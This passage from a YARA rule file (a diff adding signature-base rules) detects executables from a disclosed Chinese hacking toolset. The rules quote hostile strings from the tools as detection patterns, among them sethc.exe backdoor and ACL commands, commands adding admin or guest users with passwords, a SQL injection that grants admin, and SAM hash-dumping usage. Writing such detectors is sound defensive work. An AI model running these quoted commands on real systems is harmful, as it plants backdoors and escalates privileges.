+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		date = "2015-06-23"
+		score = 70
+		hash = "c1dc349ff44a45712937a8a9518170da8d4ee656"
+		id = "2249a058-7469-5054-9c51-cb20ef8197ca"
+	strings:
+		$s1 = "http://127.0.0.1/error1.asp" fullword ascii /* PEStudio Blacklist: strings */
+		$s2 = "password,PASSWORD,pass,PASS,Lpass,lpass,Password" fullword wide /* PEStudio Blacklist: strings */
+		$s3 = "\\SHELL" wide /* PEStudio Blacklist: strings */
+		$s4 = "WebBrowser1" fullword ascii /* PEStudio Blacklist: strings */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 200KB and all of them
+}
+
+rule CN_Honker_MSTSC_can_direct_copy {
+	meta:
+		description = "Sample from CN Honker Pentest Toolset - file MSTSC_can_direct_copy.EXE"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		date = "2015-06-23"
+		modified = "2022-12-21"
+		score = 70
+		hash = "2f3cbfd9f82f8abafdb1d33235fa6bfa1e1f71ae"
+		id = "9155cb6f-14b6-524a-9cb9-1a88f7facf4e"
+	strings:
+		$s1 = "srv\\newclient\\lib\\win32\\obj\\i386\\mstsc.pdb" ascii
+		$s2 = "Clear Password" fullword wide /* PEStudio Blacklist: strings */
+		$s3 = "/migrate -- migrates legacy connection files that were created with " fullword wide /* PEStudio Blacklist: strings */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 600KB and all of them
+}
+
+rule CN_Honker_lcx_lcx {
+	meta:
+		description = "Sample from CN Honker Pentest Toolset - HTRAN - file lcx.exe"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		date = "2015-06-23"
+		score = 70
+		hash = "0c8779849d53d0772bbaa1cedeca150c543ebf38"
+		id = "6c2e1e85-6387-5be2-b7b2-5ae8a5cca6df"
+	strings:
+		$s1 = "%s -<listen|tran|slave> <option> [-log logfile]" fullword ascii /* PEStudio Blacklist: strings */
+		$s2 = "=========== Code by lion & bkbll" ascii
+		$s3 = "Welcome to [url]http://www.cnhonker.com[/url] " ascii
+		$s4 = "-tran   <ConnectPort> <TransmitHost> <TransmitPort>" fullword ascii /* PEStudio Blacklist: strings */
+		$s5 = "[+] Start Transmit (%s:%d <-> %s:%d) ......" fullword ascii /* PEStudio Blacklist: strings */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 30KB and 1 of them
+}
+
+rule CN_Honker_PostgreSQL {
+	meta:
+		description = "Sample from CN Honker Pentest Toolset - file PostgreSQL.exe"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		date = "2015-06-23"
+		score = 70
+		hash = "1ecfaa91aae579cfccb8b7a8607176c82ec726f4"
+		id = "ae90d03c-ef67-5ece-81ae-86947196a81c"
+	strings:
+		$s1 = "&http://192.168.16.186/details.php?id=1" fullword ascii
+		$s2 = "PostgreSQL_inject" fullword ascii /* PEStudio Blacklist: strings */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 2000KB and all of them
+}
+
+rule CN_Honker_WebRobot {
+	meta:
+		description = "Sample from CN Honker Pentest Toolset - file WebRobot.exe"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		date = "2015-06-23"
+		score = 70
+		hash = "af054994c911b4301490344fca4bb19a9f394a8f"
+		id = "8b6350b6-17ea-5f44-a42a-875d55bb2de8"
+	strings:
+		$s1 = "%d-%02d-%02d %02d^%02d^%02d ScanReprot.htm" fullword ascii /* PEStudio Blacklist: strings */
+		$s2 = "\\log\\ProgramDataFile.dat" ascii /* PEStudio Blacklist: strings */
+		$s3 = "\\data\\FilterKeyword.txt" ascii
+	condition:
+		uint16(0) == 0x5a4d and filesize < 2000KB and all of them
+}
+
+rule CN_Honker_Baidu_Extractor_Ver1_0 {
+	meta:
+		description = "Sample from CN Honker Pentest Toolset - file Baidu_Extractor_Ver1.0.exe"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		date = "2015-06-23"
+		score = 70
+		hash = "1899f979360e96245d31082e7e96ccedbdbe1413"
+		id = "94f3c3d8-aa68-5589-b26f-42315634ff30"
+	strings:
+		$s3 = "\\Users\\Admin" wide /* PEStudio Blacklist: strings */
+		$s11 = "soso.com" fullword wide
+		$s12 = "baidu.com" fullword wide
+		$s19 = "cmd /c ping " fullword wide /* PEStudio Blacklist: strings */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 500KB and all of them
+}
+
+rule CN_Honker_FTP_scanning {
+	meta:
+		description = "Sample from CN Honker Pentest Toolset - file FTP_scanning.exe"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		date = "2015-06-23"
+		score = 70
+		hash = "5a3543ee5aed110c87cbc3973686e785bcb5c44e"
+		id = "828a0dc8-3748-5c07-a767-4f9e85968ca1"
+	strings:
+		$s1 = "CNotSupportedE" fullword ascii /* PEStudio Blacklist: strings */
+		$s2 = "nINet.dll" fullword ascii
+		$s9 = "?=MODULE" fullword ascii /* PEStudio Blacklist: strings */
+		$s13 = "MSIE 6*" fullword ascii
+	condition:
+		uint16(0) == 0x5a4d and filesize < 550KB and all of them
+}
+
+rule CN_Honker_dirdown_dirdown {
+	meta:
+		description = "Sample from CN Honker Pentest Toolset - file dirdown.exe"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		date = "2015-06-23"
+		modified = "2022-12-21"
+		score = 70
+		hash = "7b8d51c72841532dded5fec7e7b0005855b8a051"
+		id = "80f98131-79bf-580d-87ad-a54a3f14b301"
+	strings:
+		$s0 = "\\Decompress\\obj\\Release\\Decompress.pdb" ascii /* PEStudio Blacklist: strings */
+		$s1 = "Decompress.exe" fullword wide
+		$s5 = "Get8Bytes" fullword ascii
+	condition:
+		uint16(0) == 0x5a4d and filesize < 45KB and all of them
+}
+
+rule CN_Honker_Xiaokui_conversion_tool {
+	meta:
+		description = "Sample from CN Honker Pentest Toolset - file Xiaokui_conversion_tool.exe"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		date = "2015-06-23"
+		score = 70
+		hash = "dccd163e94a774b01f90c1e79f186894e2f27de3"
+		id = "26e30df6-b1d9-5d82-b368-a4a904939aa3"
+	strings:
+		$s1 = "update [dv_user] set usergroupid=1 where userid=2;--" fullword ascii /* PEStudio Blacklist: strings */
+		$s2 = "To.exe" fullword wide
+		$s3 = "by zj1244" ascii
+	condition:
+		uint16(0) == 0x5a4d and filesize < 240KB and 2 of them
+}
+
+rule CN_Honker_GroupPolicyRemover {
+	meta:
+		description = "Sample from CN Honker Pentest Toolset - file GroupPolicyRemover.exe"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		date = "2015-06-23"
+		score = 70
+		hash = "7475d694e189b35899a2baa462957ac3687513e5"
+		id = "e581172d-fcea-5281-ba9f-06b35c9a513e"
+	strings:
+		$s0 = "GP_killer.EXE" fullword wide /* PEStudio Blacklist: strings */
+		$s1 = "GP_killer Microsoft " fullword wide /* PEStudio Blacklist: strings */
+		$s2 = "SHDeleteKeyA" fullword ascii /* PEStudio Blacklist: strings */ /* Goodware String - occured 79 times */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 700KB and all of them
+}
+
+rule CN_Honker_WordpressScanner {
+	meta:
+		description = "Sample from CN Honker Pentest Toolset - file WordpressScanner.exe"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		date = "2015-06-23"
+		score = 70
+		hash = "0b3c5015ba3616cbc616fc9ba805fea73e98bc83"
+		id = "79195823-f88b-5c28-8b99-a43a9d6c94af"
+	strings:
+		$s0 = "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)" fullword ascii /* PEStudio Blacklist: agent */
+		$s1 = "(http://www.eyuyan.com)" fullword wide
+		$s2 = "GetConnectString" fullword ascii /* PEStudio Blacklist: strings */
+		$s4 = "#if !defined(AFX_RESOURCE_DLL) || defined(AFX_TARG_CHS)" fullword ascii /* PEStudio Blacklist: strings */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 1000KB and all of them
+}
+
+rule CN_Honker_Htran_V2_40_htran20 {
+	meta:
+		description = "Sample from CN Honker Pentest Toolset - file htran20.exe"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		date = "2015-06-23"
+		score = 70
+		hash = "b992bf5b04d362ed3757e90e57bc5d6b2a04e65c"
+		id = "9dd1ab4b-108e-55be-b94d-2868ce00855e"
+	strings:
+		$s1 = "%s -slave  ConnectHost ConnectPort TransmitHost TransmitPort" fullword ascii /* PEStudio Blacklist: strings */
+		$s2 = "Enter Your Socks Type No: [0.BindPort 1.ConnectBack 2.Listen]:" fullword ascii /* PEStudio Blacklist: strings */
+		$s3 = "[SERVER]connection to %s:%d error" fullword ascii /* PEStudio Blacklist: strings */
+		$s4 = "%s -connect ConnectHost [ConnectPort]       Default:%d" fullword ascii /* PEStudio Blacklist: strings */
+		$s5 = "[+] got, ip:%s, port:%d" fullword ascii /* PEStudio Blacklist: strings */
+		$s6 = "[-] There is a error...Create a new connection." fullword ascii /* PEStudio Blacklist: strings */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 200KB and all of them
+}
+
+rule CN_Honker_DictionaryGenerator {
+	meta:
+		description = "Sample from CN Honker Pentest Toolset - file DictionaryGenerator.exe"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		date = "2015-06-23"
+		score = 70
+		hash = "b3071c64953e97eeb2ca6796fab302d8a77d27bc"
+		id = "29ce6f8c-3092-5917-ab31-aaed7834c500"
+	strings:
+		$s1 = "`PasswordBuilder" fullword ascii /* PEStudio Blacklist: strings */
+		$s2 = "cracker" fullword ascii /* PEStudio Blacklist: strings */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 3650KB and all of them
+}
+
+rule CN_Honker_ms11080_withcmd {
+	meta:
+		description = "Sample from CN Honker Pentest Toolset - file ms11080_withcmd.exe"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		date = "2015-06-23"
+		score = 70
+		hash = "745e5058acff27b09cfd6169caf6e45097881a49"
+		id = "38c12697-7e52-5713-a566-6047abfa229b"
+	strings:
+		$s1 = "Usage : ms11-080.exe cmd.exe Command " fullword ascii /* PEStudio Blacklist: strings */
+		$s3 = "[>] create pipe error" fullword ascii /* PEStudio Blacklist: strings */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 340KB and all of them
+}
+
+rule CN_Honker_T00ls_Lpk_Sethc_v2 {
+	meta:
+		description = "Sample from CN Honker Pentest Toolset - file T00ls Lpk Sethc v2.exe"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		date = "2015-06-23"
+		score = 70
+		hash = "a995451d9108687b8892ad630a79660a021d670a"
+		id = "499b251a-e0e1-5550-825d-acab112be74b"
+	strings:
+		$s1 = "LOADER ERROR" fullword ascii /* PEStudio Blacklist: strings */
+		$s2 = "The procedure entry point %s could not be located in the dynamic link library %s" fullword ascii /* PEStudio Blacklist: strings */
+		$s3 = "2011-2012 T00LS&RICES" fullword wide
+	condition:
+		uint16(0) == 0x5a4d and filesize < 800KB and all of them
+}
+
+rule CN_Honker_HASH_32 {
+	meta:
+		description = "Sample from CN Honker Pentest Toolset - file 32.exe"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		date = "2015-06-23"
+		score = 70
+		hash = "bf4a8b4b3e906e385feab5ea768f604f64ba84ea"
+		id = "a9b5b753-2028-53be-9ac8-50ec910860c3"
+	strings:
+		$s5 = "[Undefined OS version]  Major: %d Minor: %d" fullword ascii
+		$s8 = "Try To Run As Administrator ..." fullword ascii /* PEStudio Blacklist: strings */
+		$s9 = "Specific LUID NOT found" fullword ascii
+	condition:
+		uint16(0) == 0x5a4d and filesize < 240KB and all of them
+}
+
+rule CN_Honker_windows_mstsc_enhanced_RMDSTC {
+	meta:
+		description = "Sample from CN Honker Pentest Toolset - file RMDSTC.exe"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		date = "2015-06-23"
+		score = 70
+		hash = "3ca2b1b6f31219baf172abcc8f00f07f560e465f"
+		id = "f6e94327-cb79-5a7a-88bb-850177558978"
+	strings:
+		$s0 = "zava zir5@163.com" fullword wide
+		$s1 = "By newccc" fullword wide
+	condition:
+		uint16(0) == 0x5a4d and filesize < 400KB and all of them
+}
+
+rule CN_Honker_sig_3389_mstsc_MSTSCAX {
+	meta:
+		description = "Sample from CN Honker Pentest Toolset - file MSTSCAX.DLL"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		date = "2015-06-23"
+		score = 70
+		hash = "2fa006158b2d87b08f1778f032ab1b8e139e02c6"
+		id = "9508b613-f897-5277-97e0-30e36fb5d747"
+	strings:
+		$s1 = "ResetPasswordWWWx" fullword ascii /* PEStudio Blacklist: strings */
+		$s2 = "Terminal Server Redirected Printer Doc" fullword wide /* PEStudio Blacklist: strings */
+		$s3 = "Cleaning temp directory" fullword ascii
+	condition:
+		uint16(0) == 0x5a4d and filesize < 1000KB and all of them
+}
+
+rule CN_Honker_T00ls_scanner {
+	meta:
+		description = "Sample from CN Honker Pentest Toolset - file T00ls_scanner.exe"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		date = "2015-06-23"
+		score = 70
+		hash = "70b04b910d82b32b90cd7f355a0e3e17dd260cb3"
+		id = "80d4a950-24cb-55c7-903f-8788a71be7ac"
+	strings:
+		$s0 = "http://cn.bing.com/search?first=1&count=50&q=ip:" fullword wide
+		$s17 = "Team:www.t00ls.net" fullword ascii
+	condition:
+		uint16(0) == 0x5a4d and filesize < 330KB and all of them
+}
+
+rule CN_Honker_GetHashes {
+	meta:
+		description = "Sample from CN Honker Pentest Toolset - file GetHashes.exe"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		date = "2015-06-23"
+		score = 70
+		hash = "dc8bcebf565ffffda0df24a77e28af681227b7fe"
+		id = "b1c5910d-0fb1-547e-92b7-5fcf183e38a6"
+	strings:
+		$s0 = "SAM\\Domains\\Account\\Users\\Names registry hive reading error!" fullword ascii /* PEStudio Blacklist: strings */
+		$s1 = "GetHashes <SAM registry file> [System key file]" fullword ascii /* PEStudio Blacklist: strings */
+		$s2 = "Note: Windows registry file shall begin from 'regf' signature!" fullword ascii /* PEStudio Blacklist: strings */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 87KB and 2 of them
+}
+
+rule CN_Honker_hashq_Hashq {
+	meta:
+		description = "Sample from CN Honker Pentest Toolset - file Hashq.exe"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		date = "2015-06-23"
+		score = 70
+		hash = "7518b647db5275e8a9e0bf4deda3d853cc9d5661"
+		id = "4f435edf-28bf-5195-bc22-0d2a7302b312"
+	strings:
+		$s1 = "Hashq.exe" fullword wide
+		$s5 = "CnCert.Net" fullword wide
+		$s6 = "Md5 query tool" fullword wide /* PEStudio Blacklist: strings */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 600KB and all of them
+}
+
+rule CN_Honker_ShiftBackdoor_Server {
+	meta:
+		description = "Sample from CN Honker Pentest Toolset - file Server.dat"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		date = "2015-06-23"
+		score = 70
+		hash = "b24d761c6bbf216792c4833890460e8b37d86b37"
+		id = "c53f4015-ad2b-5898-88b5-34b3bc2c65b6"
+	strings:
+		$s0 = "del /q /f %systemroot%system32sethc.exe" fullword ascii /* PEStudio Blacklist: strings */
+		$s1 = "cacls %s /t /c /e /r administrators" fullword ascii /* PEStudio Blacklist: strings */
+		$s2 = "\\dllcache\\sethc.exe" ascii
+		$s3 = "\\ntvdm.exe" ascii
+	condition:
+		uint16(0) == 0x5a4d and filesize < 200KB and 2 of them
+}
+
+rule CN_Honker_exp_win2003 {
+	meta:
+		description = "Sample from CN Honker Pentest Toolset - file win2003.exe"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		date = "2015-06-23"
+		score = 70
+		hash = "47164c8efe65d7d924753fadf6cdfb897a1c03db"
+		id = "f64e14dd-714c-5a0f-923d-23a584fe605f"
+	strings:
+		$s1 = "Usage:system_exp.exe \"cmd\"" fullword ascii /* PEStudio Blacklist: strings */
+		$s2 = "The shell \"cmd\" success!" fullword ascii /* PEStudio Blacklist: strings */
+		$s4 = "Not Windows NT family OS." fullword ascii /* PEStudio Blacklist: os */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 100KB and all of them
+}
+
+rule CN_Honker_Interception3389_setup {
+	meta:
+		description = "Sample from CN Honker Pentest Toolset - file setup.exe"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		date = "2015-06-23"
+		score = 70
+		hash = "f5b2f86f8e7cdc00aa1cb1b04bc3d278eb17bf5c"
+		id = "7250ff73-6b08-56a4-b2bc-081060d1fa2d"
+	strings:
+		$s0 = "SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\Notify\\%s" fullword ascii /* PEStudio Blacklist: strings */
+		$s1 = "%s\\temp\\temp%d.bat" fullword ascii /* PEStudio Blacklist: strings */
+		$s5 = "EventStartShell" fullword ascii /* PEStudio Blacklist: strings */
+		$s6 = "del /f /q \"%s\"" fullword ascii
+		$s7 = "\\wminotify.dll" ascii
+	condition:
+		uint16(0) == 0x5a4d and filesize < 400KB and all of them
+}
+
+rule CN_Honker_CnCerT_CCdoor_CMD_2 {
+	meta:
+		description = "Sample from CN Honker Pentest Toolset - file CnCerT.CCdoor.CMD.dll2"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		date = "2015-06-23"
+		score = 70
+		hash = "7f3a6fb30845bf366e14fa21f7e05d71baa1215a"
+		id = "2681a989-6504-5ac7-abc9-e6dad2a052c5"
+	strings:
+		$s0 = "cmd.dll" fullword wide
+		$s1 = "cmdpath" fullword ascii
+		$s2 = "Get4Bytes" fullword ascii
+		$s3 = "ExcuteCmd" fullword ascii
+	condition:
+		uint16(0) == 0x5a4d and filesize < 22KB and all of them
+}
+
+rule CN_Honker_exp_ms11046 {
+	meta:
+		description = "Sample from CN Honker Pentest Toolset - file ms11046.exe"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		date = "2015-06-23"
+		score = 70
+		hash = "f8414a374011fd239a6c6d9c6ca5851cd8936409"
+		id = "aafb45f4-3b42-5c8f-8c25-40fd01217e9d"
+	strings:
+		$s0 = "[*] Token system command" fullword ascii /* PEStudio Blacklist: strings */
+		$s1 = "[*] command add user 90sec 90sec" fullword ascii /* PEStudio Blacklist: strings */
+		$s2 = "[*] Add to Administrators success" fullword ascii /* PEStudio Blacklist: strings */
+		$s3 = "Program: %s%s%s%s%s%s%s%s%s%s%s" fullword ascii /* PEStudio Blacklist: strings */ /* Goodware String - occured 3 times */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 300KB and all of them
+}
+
+rule CN_Honker_Master_beta_1_7 {
+	meta:
+		description = "Sample from CN Honker Pentest Toolset - file Master_beta_1.7.exe"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		date = "2015-06-23"
+		score = 70
+		hash = "3be7a370791f29be89acccf3f2608fd165e8059e"
+		id = "78f904ec-f7cb-5fd0-a117-925ebedd1d3e"
+	strings:
+		$s1 = "http://seo.chinaz.com/?host=" fullword ascii /* PEStudio Blacklist: strings */
+		$s2 = "Location: getpass.asp?info=" fullword ascii
+	condition:
+		uint16(0) == 0x5a4d and filesize < 312KB and all of them
+}
+
+rule CN_Honker_F4ck_Team_f4ck_2 {
+	meta:
+		description = "Sample from CN Honker Pentest Toolset - file f4ck_2.exe"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		date = "2015-06-23"
+		score = 70
+		hash = "0783661077312753802bd64bf5d35c4666ad0a82"
+		id = "b2a9067f-57d0-5b32-87c8-3b635c3944a5"
+	strings:
+		$s1 = "F4ck.exe" fullword wide
+		$s2 = "@Netapi32.dll" fullword ascii
+		$s3 = "Team.F4ck.Net" fullword wide
+		$s8 = "Administrators" fullword ascii /* PEStudio Blacklist: strings */ /* Goodware String - occured 14 times */
+		$s9 = "F4ck Team" fullword wide
+	condition:
+		uint16(0) == 0x5a4d and filesize < 220KB and 2 of them
+}
+
+rule CN_Honker_sig_3389_80_AntiFW {
+	meta:
+		description = "Sample from CN Honker Pentest Toolset - file AntiFW.exe"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		date = "2015-06-23"
+		score = 70
+		hash = "5fbc75900e48f83d0e3592ea9fa4b70da72ccaa3"
+		id = "761bed41-e8e6-585b-8fde-a6b6a56445d6"
+	strings:
+		$s1 = "Set TS to port:80 Successfully!" fullword ascii /* PEStudio Blacklist: strings */
+		$s2 = "Now,set TS to port 80" fullword ascii /* PEStudio Blacklist: strings */
+		$s3 = "echo. >>amethyst.reg" fullword ascii
+		$s4 = "del amethyst.reg" fullword ascii
+		$s5 = "AntiFW.cpp" fullword ascii
+	condition:
+		uint16(0) == 0x5a4d and filesize < 30KB and 2 of them
+}
+
+rule CN_Honker_wwwscan_gui {
+	meta:
+		description = "Sample from CN Honker Pentest Toolset - file wwwscan_gui.exe"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		date = "2015-06-23"
+		score = 70
+		hash = "897b66a34c58621190cb88e9b2a2a90bf9b71a53"
+		id = "fffed806-4394-505a-96bd-50bf6f24aefc"
+	strings:
+		$s1 = "%s www.target.com -p 8080 -m 10 -t 16" fullword ascii /* PEStudio Blacklist: strings */
+		$s2 = "/eye2007Admin_login.aspx" fullword ascii /* PEStudio Blacklist: strings */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 280KB and all of them
+}
+
+rule CN_Honker_SwordCollEdition {
+	meta:
+		description = "Sample from CN Honker Pentest Toolset - file SwordCollEdition.exe"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		date = "2015-06-23"
+		score = 70
+		hash = "6e14f21cac6e2aa7535e45d81e8d1f6913fd6e8b"
+		id = "4e8d4d48-c053-5579-be9c-af73ec0fe614"
+	strings:
+		$s0 = "YuJianScan.exe" fullword wide /* PEStudio Blacklist: strings */
+		$s1 = "YuJianScan" fullword ascii /* PEStudio Blacklist: strings */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 225KB and all of them
+}
+
+rule CN_Honker_HconSTFportable {
+	meta:
+		description = "Sample from CN Honker Pentest Toolset - file HconSTFportable.exe"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		date = "2015-06-23"
+		score = 70
+		hash = "00253a00eadb3ec21a06911a3d92728bbbe80c09"
+		id = "591cbd4a-0035-5903-a7dc-8f8ee6dc9f50"
+	strings:
+		$s1 = "HconSTFportable.exe" fullword wide /* PEStudio Blacklist: strings */
+		$s2 = "www.Hcon.in" fullword wide
+	condition:
+		uint16(0) == 0x5a4d and filesize < 354KB and all of them
+}
+
+rule CN_Honker_T00ls_Lpk_Sethc_v3_LPK {
+	meta:
+		description = "Sample from CN Honker Pentest Toolset - file LPK.DAT"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		date = "2015-06-23"
+		score = 70
+		hash = "cf2549bbbbdb7aaf232d9783873667e35c8d96c1"
+		id = "c5b806d9-74dc-5244-b1e0-9837abeaeaac"
+	strings:
+		$s1 = "FreeHostKillexe.exe" fullword ascii /* PEStudio Blacklist: strings */
+		$s2 = "\\sethc.exe /G everyone:F" ascii /* PEStudio Blacklist: strings */
+		$s3 = "c:\\1.exe" fullword ascii /* PEStudio Blacklist: strings */
+		$s4 = "Set user Group Error! Username:" fullword ascii /* PEStudio Blacklist: strings */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 400KB and all of them
+}
+
+rule CN_Honker_Without_a_trace_Wywz {
+	meta:
+		description = "Sample from CN Honker Pentest Toolset - file Wywz.exe"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		date = "2015-06-23"
+		score = 70
+		hash = "f443c43fde643228ee95def5c8ed3171f16daad8"
+		id = "1093c0c3-499f-5aec-ad4a-878d377296d5"
+	strings:
+		$s1 = "\\Symantec\\Norton Personal Firewall\\Log\\Content.log" ascii /* PEStudio Blacklist: strings */
+		$s2 = "UpdateFile=d:\\tool\\config.ini,Option\\\\proxyIp=127.0.0.1\\r\\nproxyPort=808" ascii /* PEStudio Blacklist: strings */
+		$s3 = "%s\\subinacl.exe /subkeyreg \"%s\" /Grant=%s=f /Grant=everyone=f" fullword ascii /* PEStudio Blacklist: strings */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 1800KB and all of them
+}
+
+rule CN_Honker_LPK2_0_LPK {
+	meta:
+		description = "Sample from CN Honker Pentest Toolset - file LPK.DAT"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		date = "2015-06-23"
+		score = 70
+		hash = "5a1226e73daba516c889328f295e728f07fdf1c3"
+		id = "4aa40b78-5fe4-5312-881c-e5a292435ff0"
+	strings:
+		$s1 = "\\sethc.exe /G everyone:F" ascii /* PEStudio Blacklist: strings */
+		$s2 = "net1 user guest guest123!@#" fullword ascii /* PEStudio Blacklist: strings */
+		$s3 = "\\dllcache\\sethc.exe" ascii
+		$s4 = "sathc.exe 211" fullword ascii
+	condition:
+		uint16(0) == 0x5a4d and filesize < 1030KB and all of them
+}
+
+rule CN_Honker_cleaniis {
+	meta:
+		description = "Sample from CN Honker Pentest Toolset - file cleaniis.exe"
